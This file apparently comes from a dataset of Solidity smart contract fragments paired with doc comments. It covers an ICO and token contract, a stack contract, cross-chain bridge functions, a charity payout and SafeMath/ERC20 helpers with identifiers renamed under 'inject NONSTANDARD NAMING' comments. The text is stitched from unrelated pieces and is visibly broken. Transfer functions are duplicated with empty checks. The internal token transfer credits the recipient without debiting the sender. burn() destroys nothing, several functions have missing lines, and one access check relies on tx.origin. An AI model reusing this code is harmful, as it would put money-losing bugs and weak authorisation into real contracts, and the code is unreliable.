@param _startPreICO contains new starting date for ICO
@param _endPreICO contains new ending date for ICO
@param _startICO_w1 contains new starting date for PRE-ICO
@param _endICO_w1 contains new ending date for PRE-ICO
@param _startICO_w2 contains new starting date for ICO
@param _endICO_w2 contains new ending date for ICO
*/
function setNewICOTime(
uint _startPrivateICO,
uint _endPrivateICO,
uint _startPreICO,
uint _endPreICO,
uint _startICO_w1,
uint _endICO_w1,
uint _startICO_w2,
uint _endICO_w2
)
public
onlyOwner onlyInState(StatusList.NotStarted) {
require(now < startPrivateICO && startPrivateICO < endPrivateICO && startPreICO < endPreICO && startICO_w1 < endICO_w1 && startICO_w2 < endICO_w2); // solhint-disable-line
startPrivateICO = _startPrivateICO;
endPrivateICO = _endPrivateICO;
startPreICO = _startPreICO;
endPreICO = _endPreICO;
startICO_w1 = _startICO_w1;
endICO_w1 = _endICO_w1;
startICO_w2 = _startICO_w2;
endICO_w2 = _endICO_w2;
}
/**
@dev This function can be call by owner to close the ICO if status is closed .
* Transfer the excess tokens to RESERVE if there are available tokens
*/
function closeICO() public onlyOwner {
updateStatus();
require(status == StatusList.Closed);
transferExcessTokensToReserve();
}
function transferExcessTokensToReserve() internal {
availableICO = tokenReward.balanceOf(this);
if (availableICO > 0) {
tokenReward.transfer(TOKENSRESERVE, availableICO);
}
}
/**
@dev Internal function to manage ICO status, as described in the withepaper
ICO is available for purchases if date & time is within the PRE-ICO or ICO dates.
*/
function updateStatus() internal {
if (now >= endICO_w2) {// solhint-disable-line
status = StatusList.Closed;
} else {
// solhint-disable-next-line
if ((now > endPrivateICO && now < startPreICO) || (now > endPreICO && now < startICO_w1)) {
status = StatusList.Waiting;
} else {
if (now < startPrivateICO) {// solhint-disable-line
status = StatusList.NotStarted;
} else {
status = StatusList.Running;
updateStages();
}
}
}
}
/**
@dev Internal function to manage ICO status when tokens are sold out.
ICO has a number of limmited tokens to be sold within PrivateICO, PRE-ICO and ICO stages,
this method changes status to WaitingICO if PRE-ICO tokens are sold out or
Closed when ICO tokens are sold out.
*/
function updateStatusViaTokens() internal {
availableICO = tokenReward.balanceOf(this);
if (availablePrivateICO == 0 && stage == StagesList.PrivateICO) status = StatusList.Waiting;
if (availablePreICO == 0 && stage == StagesList.PreICO) status = StatusList.Waiting;
if (availableICO_w1 == 0 && stage == StagesList.ICO_w1) status = StatusList.Waiting;
if (availableICO_w2 == 0 && stage == StagesList.ICO_w2) status = StatusList.Waiting;
if (availableICO == 0) status = StatusList.Closed;
}
/**
@dev Internal function to manage ICO stages.
Stage is used in order to calculate the proper token price.
*/
function updateStages() internal onlyInState(StatusList.Running) {
if (now <= endPrivateICO && now > startPrivateICO) { stage = StagesList.PrivateICO; return;}// solhint-disable-line
if (now <= endPreICO && now > startPreICO) { stage = StagesList.PreICO; return;}// solhint-disable-line
if (now <= endICO_w1 && now > startICO_w1) { stage = StagesList.ICO_w1; return;}// solhint-disable-line
if (now <= endICO_w2 && now > startICO_w2) { stage = StagesList.ICO_w2; return;}// solhint-disable-lin
stage = StagesList.N_A;
}
/**
@dev Private function to manage GrapheneTech purchases by calculating the right number
of tokens based on the value sent.
Includes any purchase within a mapping to track address and amount spent.
Tracks the number of tokens sold. and ICO amount raised
Transfer tokens to the buyer address.
Calculates refound value if applais.
*/
function _transfer() private onlyInState(StatusList.Running) {
uint amount = msg.value;
uint amountToReturn = 0;
uint tokens = 0;
(tokens, amountToReturn) = getTokens(amount);
purchaseMap[msg.sender] = purchaseMap[msg.sender].add(amount);
tokensSold = tokensSold.add(tokens);
amount = amount.sub(amountToReturn);
amountRaised = amountRaised.add(amount);
if (stage == StagesList.PrivateICO) availablePrivateICO = availablePrivateICO.sub(tokens);
if (stage == StagesList.PreICO) availablePreICO = availablePreICO.sub(tokens);
if (stage == StagesList.ICO_w1) availableICO_w1 = availableICO_w1.sub(tokens);
if (stage == StagesList.ICO_w2) availableICO_w2 = availableICO_w2.sub(tokens);
tokenReward.transfer(msg.sender, tokens);
sendETH(amount);
if (amountToReturn > 0) {
bool refound = msg.sender.send(amountToReturn);
require(refound);
}
emit Purchase(msg.sender, amount, tokens);
}
/**
@dev Returns the number of tokens based on the ETH sent and token price.
@param _value this contais the ETHs sent and it is used to calculate the right number of tokens to be transfered.
@return number of tokens based on the ETH sent and token price.
*/
function getTokens(uint256 _value)
private view
onlyInState(StatusList.Running)
returns(uint256 numTokens, uint256 amountToReturn) {
uint256 eths = _value.mul(10**decimals);//Adding decimals to get an acurate number of tokens
numTokens = 0;
uint256 tokensAvailable = 0;
numTokens = eths.div(tokenPrice[uint256(stage)]);
if (stage == StagesList.PrivateICO) {
tokensAvailable = availablePrivateICO;
} else if (stage == StagesList.PreICO) {
tokensAvailable = availablePreICO;
} else if (stage == StagesList.ICO_w1) {
tokensAvailable = availableICO_w1;
} else if (stage == StagesList.ICO_w2) {
tokensAvailable = availableICO_w2;
}
if (tokensAvailable >= numTokens) {
amountToReturn = 0;
} else {
numTokens = tokensAvailable;
amountToReturn = _value.sub(numTokens.div(10**decimals).mul(tokenPrice[uint256(stage)]));
}
return (numTokens, amountToReturn);
}
/**
@dev This function sends ETHs to the list of address SALARIES, MARKETINGandBUSINESS, RESEARCHandDEVELOPMENT, RESERVE, FACTORIES, PLANEQUIPMENT, PRODUCTION
@param _amount this are the ETHs that have to be send between different address.
*/
function sendETH(uint _amount) private {
uint paymentSALARIES = _amount.mul(3).div(100);
uint paymentMARKETINGandBUSINESS = _amount.mul(4).div(100);
uint paymentRESEARCHandDEVELOPMENT = _amount.mul(14).div(100);
uint paymentRESERVE = _amount.mul(18).div(100);
uint paymentFACTORIES = _amount.mul(24).div(100);
uint paymentPLANEQUIPMENT = _amount.mul(19).div(100);
uint paymentPRODUCTION = _amount.mul(18).div(100);
SALARIES.transfer(paymentSALARIES);
MARKETINGandBUSINESS.transfer(paymentMARKETINGandBUSINESS);
RESEARCHandDEVELOPMENT.transfer(paymentRESEARCHandDEVELOPMENT);
RESERVE.transfer(paymentRESERVE);
FACTORIES.transfer(paymentFACTORIES);
PLANEQUIPMENT.transfer(paymentPLANEQUIPMENT);
PRODUCTION.transfer(paymentPRODUCTION);
}
}
|
Contains restricted tokens that cannot be sold before graphenDeadLine This array contains the list of address to be used by DAO contract
|
contract Token77G is Claimable, StandardToken {
string constant public name = "GraphenTech";
string constant public symbol = "77G";
uint256 public graphenRestrictedDate;
mapping (address => uint256) private restrictedTokens;
address[] private addList;
address private icoadd;
@dev this event generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
@dev this event notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
@dev Constructor function
Initializes contract with initial supply tokens to the creator of the contract and
allocates restriceted amount of tokens to some addresses
function Token77G(
address _team,
address _reserve,
address _advisors,
uint _deadLine
)
public
@title Token77G
{
icoadd = msg.sender;
totalSupply_ = (19000000000) * 10 ** uint256(decimals);
balances[_reserve] = balances[_reserve].add((1890500000) * 10 ** uint256(decimals));
addAddress(_reserve);
emit Transfer(icoadd, _reserve, (1890500000) * 10 ** uint256(decimals));
allocateTokens(_team, (1330000000) * 10 ** uint256(decimals));
emit Transfer(icoadd, _team, (1330000000) * 10 ** uint256(decimals));
balances[_advisors] = balances[_advisors].add((950000000) * 10 ** uint256(decimals));
addAddress(_advisors);
emit Transfer(icoadd, _advisors, (950000000) * 10 ** uint256(decimals));
balances[icoadd] = (14829500000) * 10 **uint256(decimals);
graphenRestrictedDate = _deadLine;
}
@param _add The address to check restricted tokens
@dev Return number of restricted tokens from address
function restrictedTokensOf(address _add) public view returns(uint restrctedTokens) {
return restrictedTokens[_add];
}
Send `_value` tokens to `_to` from your account
@param _to The address of the recipient
@param _value the amount to send
@dev Transfer tokens
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
}
if (balances[_to] == 0) addAddress(_to);
_transfer(_to, _value);
return true;
}
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
}
if (balances[_to] == 0) addAddress(_to);
_transfer(_to, _value);
return true;
}
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
@dev Transfer tokens from one address to another
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
}
if (balances[_to] == 0)addAddress(_to);
super.transferFrom(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
}
if (balances[_to] == 0)addAddress(_to);
super.transferFrom(_from, _to, _value);
return true;
}
@dev Destroy tokens
function burn(uint256 _value) public returns (bool success) {
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, 0x0, _value);
return true;
}
@param _index contains the position to find in addList
@dev Returns address by position
function getAddressFromList(uint256 _index)public view returns (address add) {
require(_index < addList.length);
return addList[_index];
}
@return uint list size
@dev Returns length of address list
function getAddListSize()public view returns (uint) {
return addList.length;
}
@dev This function adds a number of tokes to an address and sets this tokens as restricted.
@param _add The address to allocate restricted tokens
@param _value Number of tokens to be given
function allocateTokens(address _add, uint256 _value) private {
balances[_add] = balances[_add].add(_value);
restrictedTokens[_add] = restrictedTokens[_add].add(_value);
addAddress(_add);
}
@param _to The address of the recipient
@param _value number of tokens to be transfered.
@dev Internal transfer, only can be called by this contract.
function _transfer(address _to, uint256 _value) private {
require(_to != 0x0);
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[msg.sender].add(balances[_to]);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
assert(balances[msg.sender] + balances[_to] == previousBalances);
}
cd a new address to list of address
Include `_add´ if doesn´t exist within addList
@param _add contains the address to be included in the addList.
@dev Adcd ..
function addAddress(address _add) private {
addList.push(_add);
}
}
| 8,081,063
|
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pragma solidity ^0.4.18;
/**
* @title EvmStack
* @author Nathanael Esayeas (github.com/nathane)
* @dev Stack implementation written in solidity.
*/
contract EvmStack {
/**
* @dev The contract owners address
*/
address public owner;
/**
* @dev The stack
*/
string[] public stack;
/**
* @dev EvmStack constructor
*/
function EvmStack() public payable{
owner = msg.sender;
}
/**
* @dev Removes all elements from the stack.
* @return bool
*/
function clear() public returns(bool success){
require(stack.length > 0);
delete stack;
stack.length=0;
return true;
}
/**
* @dev Returns the top most elements in the stack, but doesn’t delete it.
* @return string
*/
function peek() constant public returns (string){
require(stack.length > 0);
return stack[stack.length-1];
}
/**
* @dev Returns and deletes the top most element in the stack.
* @return string
*/
function pop() public returns (string) {
require(stack.length > 0);
string memory value = stack[stack.length-1];
delete stack[stack.length-1];
stack.length -=1;
return value;
}
/**
* @dev Adds an element at the top the stack.
* @param value added to stack
* @return bool
*/
function push(string value) public returns(bool success){
stack.push(value);
return true;
}
/**
* @dev Returns the number of elements in the stack.
* @return uint
*/
function size() constant public returns (uint) {
return stack.length;
}
/**
* @dev Returns whether the stack has any elements.
* @return bool
*/
function isEmpty() constant public returns (bool) {
return stack.length == 0;
}
/**
* @dev Kills the contract and returns remaining funds back to the creator
* @return bool
*/
function rip() public returns(bool success){
require(msg.sender == owner);
selfdestruct(owner);
return true;
}
/**
* @dev Fallback function
*/
function () public payable{}
}
|
* @dev Kills the contract and returns remaining funds back to the creator @return bool/
|
function rip() public returns(bool success){
require(msg.sender == owner);
selfdestruct(owner);
return true;
}
| 1,754,231
|
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./full_match/420/0x84C71140bf315a9caC00D76Bf31418745e1fFeB1/sources/contracts/core/connext/facets/BridgeFacet.sol
|
* @notice Initiates a cross-chain transfer of funds, calldata, and/or various named properties using the nomad network. @dev For ERC20 transfers, this contract must have approval to transfer the input (transacting) assets. The adopted assets will be swapped for their local nomad asset counterparts (i.e. bridgeable tokens) via the configured AMM if necessary. In the event that the adopted assets are local nomad assets, no swap is needed. The local tokens will then be sent via the bridge router. If the local assets are representational for an asset on another chain, we will burn the tokens here. If the local assets are canonical (meaning that the adopted<>local asset pairing is native to this chain), we will custody the tokens here. @param _args - The XCallArgs arguments. @return bytes32 - The transfer ID of the newly created crosschain transfer./ Sanity checks. Not native asset Correct origin domain. Recipient and recovery defined. If the user might be receiving adopted assets on the destination chain, they ought to have a defined agent so that they can call `forceReceiveLocal` if need be. Callback address must be a contract if it is supplied. Check to make sure fee amount in argument is equal to msg.value. Check that the asset is supported -- can be either adopted or local. Here, the asset is *not* the adopted asset. The only other valid option is for this asset to be the local asset (i.e. transferring madEth on optimism) NOTE: it *cannot* be the canonical asset. the canonical asset is only used on the canonical domain, where it is *also* the adopted asset. revert, using a token of local origin that is not registered as adopted Transfer callback fee to PromiseRouter if set
|
function xcall(XCallArgs calldata _args) external payable nonReentrant whenNotPaused returns (bytes32) {
bytes32 remoteInstance;
{
if (_args.transactingAsset == address(0)) {
revert BridgeFacet__xcall_nativeAssetNotSupported();
}
if (_args.params.originDomain != s.domain) {
revert BridgeFacet__xcall_wrongDomain();
}
if (remoteInstance == bytes32(0)) {
revert BridgeFacet__xcall_destinationNotSupported();
}
if (_args.params.to == address(0) || _args.params.recovery == address(0)) {
revert BridgeFacet__xcall_emptyToOrRecovery();
}
if (_args.params.agent == address(0) && !_args.params.receiveLocal) {
revert BridgeFacet__xcall_missingAgent();
}
if (_args.params.callback != address(0)) {
if (!Address.isContract(_args.params.callback)) {
revert BridgeFacet__xcall_callbackNotAContract();
}
}
if (msg.value != _args.params.relayerFee + _args.params.callbackFee) {
revert BridgeFacet__xcall_ethValueMismatchedFees();
}
}
bytes32 transferId;
uint256 _sNonce;
address bridgedAsset;
uint256 bridgedAmount;
{
TokenId memory canonical = s.adoptedToCanonical[_args.transactingAsset];
if (canonical.id == bytes32(0)) {
if (s.tokenRegistry.isLocalOrigin(_args.transactingAsset)) {
revert BridgeFacet__xcall_notSupportedAsset();
}
(uint32 canonicalDomain, bytes32 canonicalId) = s.tokenRegistry.getTokenId(_args.transactingAsset);
canonical = TokenId(canonicalDomain, canonicalId);
}
canonical,
_args.transactingAsset,
_args.transactingAmount,
_args.originMinOut
);
_sNonce = s.nonce++;
if (_args.params.callbackFee != 0) {
}
SafeERC20.safeIncreaseAllowance(IERC20(bridgedAsset), address(s.bridgeRouter), bridgedAmount);
bridgedAsset,
bridgedAmount,
_args.params.destinationDomain,
remoteInstance,
abi.encode(TransferIdInformation(_args.params, _sNonce, msg.sender))
);
}
return transferId;
}
| 13,228,544
|
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./full_match/97/0x8B4032b71C804517D54878d78730c230F768Ad57/sources/tests/BSC ChainLinkTests/PW.sol
|
* Charity Payment function/ inState(State.Completed) Non-native token (transfer tokens)
|
function payCharity()
internal
onlyAuthorized */
nonReentrant
{
uint256 tokenBalance = pumptoken.balanceOf(address(this));
address payable charity = payable(pumpWalletStrings.charityAddress);
if (address(pumptoken) != ROUTER.WETH()) {
uint256 charityPayAmount;
if (walletType == WalletType.Charity) {
charityPayAmount = tokenBalance;
charityPayAmount =
(tokenBalance * pumpWalletInts.charityPercent) /
100;
}
pumptoken.transfer(charity, charityPayAmount);
uint256 charityPayAmount;
if (walletType == WalletType.Charity) {
charityPayAmount = nativeBalance;
charityPayAmount =
(nativeBalance * pumpWalletInts.charityPercent) /
100;
}
charity.transfer(charityPayAmount);
}
emit BeneficiaryOrWinnerPaid(charity, tokenBalance);
}
| 5,018,752
|
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// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./StandardArbERC20.sol";
import "./StandardArbERC777.sol";
import "../libraries/ClonableBeaconProxy.sol";
import "../ethereum/EthERC20Bridge.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Create2.sol";
import "../libraries/BytesParser.sol";
import "./IArbToken.sol";
import "arbos-contracts/arbos/builtin/ArbSys.sol";
interface ITransferReceiver {
function onTokenTransfer(
address,
uint256,
bytes calldata
) external returns (bool);
}
contract ArbTokenBridge is ProxySetter {
using Address for address;
/// @notice This mapping is from L1 address to L2 address
mapping(address => address) public customToken;
uint256 exitNum;
bytes32 private cloneableProxyHash;
address private deployBeacon;
address public templateERC20;
address public templateERC777;
address public l1Pair;
event MintAndCallTriggered(
bool success,
address indexed sender,
address indexed dest,
uint256 amount,
bytes callHookData
);
event WithdrawToken(
uint256 id,
address indexed l1Address,
uint256 indexed amount,
address indexed destination,
uint256 exitNum
);
event TokenCreated(
address indexed l1Address,
address indexed l2Address,
StandardTokenType indexed tokenType
);
event TokenMinted(
address l1Address,
address indexed l2Address,
StandardTokenType tokenType,
address indexed sender,
address indexed dest,
uint256 amount,
bool usedCallHook
);
event TokenMigrated(
address indexed from,
address indexed to,
address indexed account,
uint256 amount,
bytes data
);
event TokenDataUpdated(
address l1Address,
address indexed l2Addess,
StandardTokenType indexed tokenType,
string name,
string symbol,
uint8 decimals
);
modifier onlyEthPair {
// This ensures that this method can only be called from the L1 pair of this contract
require(tx.origin == l1Pair, "ONLY_ETH_PAIR");
_;
}
modifier onlyFromStandardL2Token(address l1ERC20) {
// I.e., can't be called by a custom token
require(
msg.sender == calculateBridgedERC777Address(l1ERC20) ||
msg.sender == calculateBridgedERC20Address(l1ERC20),
"NOT_FROM_STANDARD_TOKEN"
);
_;
}
modifier onlyFromL2Token(address l1ERC20) {
// This ensures that this method can only be called by the L2 token
require(
msg.sender == calculateBridgedERC777Address(l1ERC20) ||
msg.sender == calculateBridgedERC20Address(l1ERC20) ||
msg.sender == customToken[l1ERC20],
"NOT_FROM_TOKEN"
);
_;
}
modifier onlyToL2Token(address l1ERC20, address to) {
// This ensures that this method can only be called by the L2 token
require(
to == calculateBridgedERC777Address(l1ERC20) ||
to == calculateBridgedERC20Address(l1ERC20) ||
to == customToken[l1ERC20],
"NOT_TO_TOKEN"
);
_;
}
modifier noCustomToken(address l1ERC20) {
require(customToken[l1ERC20] == address(0), "No_CUSTOM_TOKEN");
_;
}
modifier ifCustomSelectedRequireCustom(address l1ERC20, StandardTokenType tokenType) {
if (tokenType == StandardTokenType.Custom) {
require(customToken[l1ERC20] != address(0), "No_CUSTOM_TOKEN");
}
_;
}
function initialize(
address _l1Pair,
address _templateERC777,
address _templateERC20
) external {
require(address(l1Pair) == address(0), "already init");
require(_l1Pair != address(0), "L1 pair can't be address 0");
templateERC20 = _templateERC20;
templateERC777 = _templateERC777;
l1Pair = _l1Pair;
cloneableProxyHash = keccak256(type(ClonableBeaconProxy).creationCode);
}
function mintAndCall(
IArbToken token,
uint256 amount,
address sender,
address dest,
bytes memory data
) external {
require(msg.sender == address(this), "Mint can only be called by self");
// the token's transfer hook does not get triggered here
// since the bridge already triggers a hook
token.bridgeMint(dest, amount, "");
bool success = ITransferReceiver(dest).onTokenTransfer(sender, amount, data);
require(success, "External onTokenTransfer reverted");
}
function handleCallHookData(
IArbToken token,
uint256 amount,
address sender,
address dest,
bytes memory callHookData
) internal {
bool success;
try ArbTokenBridge(this).mintAndCall(token, amount, sender, dest, callHookData) {
success = true;
} catch {
// if reverted, then credit sender's account
token.bridgeMint(sender, amount, "");
// TODO: should try to submit callHookData for the hook?
success = false;
}
emit MintAndCallTriggered(success, sender, dest, amount, callHookData);
}
function mintFromL1(
address l1ERC20,
address sender,
StandardTokenType tokenType,
address dest,
uint256 amount,
bytes calldata _decimals,
bytes calldata callHookData
) external onlyEthPair ifCustomSelectedRequireCustom(l1ERC20, tokenType) {
IArbToken token =
ensureTokenExists(l1ERC20, BytesParserWithDefault.toUint8(_decimals, 18), tokenType);
if (callHookData.length > 0) {
handleCallHookData(token, amount, sender, dest, callHookData);
} else {
token.bridgeMint(dest, amount, "");
}
emit TokenMinted(
l1ERC20,
address(token),
tokenType,
sender,
dest,
amount,
callHookData.length > 0
);
}
function updateTokenInfo(
address l1ERC20,
StandardTokenType tokenType,
bytes calldata _name,
bytes calldata _symbol,
bytes calldata _decimals
) external onlyEthPair noCustomToken(l1ERC20) {
// no custom token as we assume custom implementation has correct info
require(tokenType != StandardTokenType.Custom, "Cant update info of custom token");
string memory name = BytesParserWithDefault.toString(_name, "");
string memory symbol = BytesParserWithDefault.toString(_symbol, "");
uint8 decimals = BytesParserWithDefault.toUint8(_decimals, 18);
IArbToken token = ensureTokenExists(l1ERC20, decimals, tokenType);
token.updateInfo(name, symbol, decimals);
emit TokenDataUpdated(l1ERC20, address(token), tokenType, name, symbol, decimals);
}
function customTokenRegistered(address l1Address, address l2Address) external onlyEthPair {
customToken[l1Address] = l2Address;
emit TokenCreated(l1Address, l2Address, StandardTokenType.Custom);
}
function withdraw(
address l1ERC20,
address destination,
uint256 amount
) external onlyFromL2Token(l1ERC20) {
uint256 id =
ArbSys(100).sendTxToL1(
l1Pair,
abi.encodeWithSelector(
EthERC20Bridge.withdrawFromL2.selector,
exitNum,
l1ERC20,
destination,
amount
)
);
exitNum++;
emit WithdrawToken(id, l1ERC20, amount, destination, exitNum);
}
// A token can be bridged into different L2 implementations (ie 777 and 20)
// this method allows you to migrate your balance between them.
function migrate(
address l1ERC20,
address target,
address account,
uint256 amount,
bytes memory data
)
external
onlyFromStandardL2Token(l1ERC20)
onlyToL2Token(l1ERC20, target)
noCustomToken(l1ERC20)
{
require(false, "Method disabled");
// TODO: ensureTokenExists(l1ERC20, decimals, tokenType);
IArbToken(target).bridgeMint(account, amount, data);
emit TokenMigrated(msg.sender, target, account, amount, data);
}
function calculateBridgeTokenAddress(address l1ERC20, StandardTokenType tokenType)
public
view
returns (address)
{
if (tokenType == StandardTokenType.ERC20) {
return calculateBridgedERC20Address(l1ERC20);
} else if (tokenType == StandardTokenType.ERC777) {
return calculateBridgedERC777Address(l1ERC20);
} else if (tokenType == StandardTokenType.Custom) {
address l2Addr = customToken[l1ERC20];
require(l2Addr != address(0), "No custom address set");
return l2Addr;
} else {
revert("Token type not recognized");
}
}
function calculateBridgedERC777Address(address l1ERC20) public view returns (address) {
return
Create2.computeAddress(
keccak256(abi.encodePacked(l1ERC20, templateERC777)),
cloneableProxyHash
);
}
function calculateBridgedERC20Address(address l1ERC20) public view returns (address) {
return
Create2.computeAddress(
keccak256(abi.encodePacked(l1ERC20, templateERC20)),
cloneableProxyHash
);
}
function getBeacon() external view override returns (address) {
return deployBeacon;
}
function ensureTokenExists(
address l1ERC20,
uint8 decimals,
StandardTokenType tokenType
) private returns (IArbToken) {
address _customToken = customToken[l1ERC20];
if (_customToken != address(0)) {
return IArbToken(_customToken);
}
address l2Contract =
tokenType == StandardTokenType.ERC20
? calculateBridgedERC20Address(l1ERC20)
: calculateBridgedERC777Address(l1ERC20);
if (!l2Contract.isContract()) {
address beacon = tokenType == StandardTokenType.ERC20 ? templateERC20 : templateERC777;
deployBeacon = beacon;
bytes32 salt = keccak256(abi.encodePacked(l1ERC20, beacon));
ClonableBeaconProxy createdContract = new ClonableBeaconProxy{ salt: salt }();
deployBeacon = address(0);
IArbToken(address(createdContract)).initialize(address(this), l1ERC20, decimals);
require(address(createdContract) == l2Contract, "Incorrect deploy address");
emit TokenCreated(l1ERC20, address(createdContract), tokenType);
}
return IArbToken(l2Contract);
}
function ensureERC777TokenExists(address l1ERC20, uint8 decimals) private returns (IArbToken) {
return ensureTokenExists(l1ERC20, decimals, StandardTokenType.ERC777);
}
function ensureERC20TokenExists(address l1ERC20, uint8 decimals) private returns (IArbToken) {
return ensureTokenExists(l1ERC20, decimals, StandardTokenType.ERC20);
}
}
|
the token's transfer hook does not get triggered here since the bridge already triggers a hook
|
function mintAndCall(
IArbToken token,
uint256 amount,
address sender,
address dest,
bytes memory data
) external {
require(msg.sender == address(this), "Mint can only be called by self");
token.bridgeMint(dest, amount, "");
bool success = ITransferReceiver(dest).onTokenTransfer(sender, amount, data);
require(success, "External onTokenTransfer reverted");
}
| 12,697,081
|
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] |
pragma solidity ^0.5.17;
interface IERC20 {
function TOTALSUPPLY3() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF367(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER903(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE608(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function DECIMALS810() external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE172(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM529(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER904(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL612(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD483(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB518(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB518(a, b, "SafeMath: subtraction overflow");
}
function SUB518(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL745(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV989(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV989(a, b, "SafeMath: division by zero");
}
function DIV989(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function MOD257(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD257(a, b, "SafeMath: modulo by zero");
}
function MOD257(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT560(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE228(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE839(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER392(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.TRANSFER903.selector, to, value));
}
function SAFETRANSFERFROM413(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.TRANSFERFROM529.selector, from, to, value));
}
function SAFEAPPROVE740(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require((value == 0) || (token.ALLOWANCE608(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.APPROVE172.selector, spender, value));
}
function CALLOPTIONALRETURN815(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
require(address(token).ISCONTRACT560(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface yVault {
function BALANCE390() external view returns (uint); //inject NONSTANDARD NAMING
function TOTALSUPPLY3() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF367(address) external view returns (uint256); //inject NONSTANDARD NAMING
function DEPOSITALL620() external; //inject NONSTANDARD NAMING
function WITHDRAW88(uint _shares) external; //inject NONSTANDARD NAMING
function WITHDRAWALL107() external; //inject NONSTANDARD NAMING
}
interface Controller {
function VAULTS407(address) external view returns (address); //inject NONSTANDARD NAMING
function STRATEGIES225(address) external view returns (address); //inject NONSTANDARD NAMING
function REWARDS983() external view returns (address); //inject NONSTANDARD NAMING
}
interface Strategy {
function WITHDRAWALFEE924() external view returns (uint); //inject NONSTANDARD NAMING
}
interface GemLike {
function APPROVE172(address, uint) external; //inject NONSTANDARD NAMING
function TRANSFER903(address, uint) external; //inject NONSTANDARD NAMING
function TRANSFERFROM529(address, address, uint) external; //inject NONSTANDARD NAMING
function DEPOSIT926() external payable; //inject NONSTANDARD NAMING
function WITHDRAW88(uint) external; //inject NONSTANDARD NAMING
}
interface ManagerLike {
function CDPCAN839(address, uint, address) external view returns (uint); //inject NONSTANDARD NAMING
function ILKS43(uint) external view returns (bytes32); //inject NONSTANDARD NAMING
